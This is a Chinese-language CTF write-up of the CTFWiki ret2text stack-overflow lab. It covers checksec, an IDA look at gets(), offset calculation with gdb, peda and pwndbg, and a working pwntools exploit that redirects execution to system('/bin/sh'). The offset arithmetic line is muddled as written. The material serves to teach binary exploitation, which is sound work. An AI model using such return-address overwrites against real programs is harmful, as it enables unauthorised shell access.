CTFWiki 栈溢出 ret2text
目录
1.checksec跑一下
- NX enable :栈不可执行
- 对于这个题目来说执不执行都无所谓
2.IDA pro看一下
2.1. 计算s相对ebp的偏移量
2.1.1. 手动计算
- 看到一个危险函数 gets()
- 看到[esp + 1ch] [ebp - 64h]
- 这个时候我们要算一下需要发送多少数据才能覆盖栈
- 这两个方括号里面代表的是 s 分别到 esp 和 ebp 的距离
- 我们想要的得到的是ebp - s 的值
- 因此我们要算出 s 的地址
- s的地址就应该是esp+1c
这里附上图看看
- ebp指向栈底 是高地址
- esp指向栈顶 是低地址
- s距离esp的偏移是0x1c
- 下面看看gdb动态调试
- 在学习gdb的时候遇到的诸多问题请看我写的另一篇文章
点至这里阅读原文
2.1.2. 直接使用peda计算
pattern create 200
pattren offset 溢出地址
2.1.3 用pwndbg计算
cyclic 100 //生成100个byte数据
cyclic -l 溢出地址
看一下样例
注:2.1.3是非本题样例
2.2 看一下system函数
- 在secure函数中有调用system函数
- 我们直接找到调用system("/bin/sh")的地址
target = 0804863A
3.gdb动态调试获取覆盖数据大小
- s 相对于 ebp 的偏移为 0x188 - 100 + 0x1c = 0x6c
- s 相对于返回地址的偏移为 0x6c+4
4.编写exp
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
可以看到运行之后成功的拿到了权限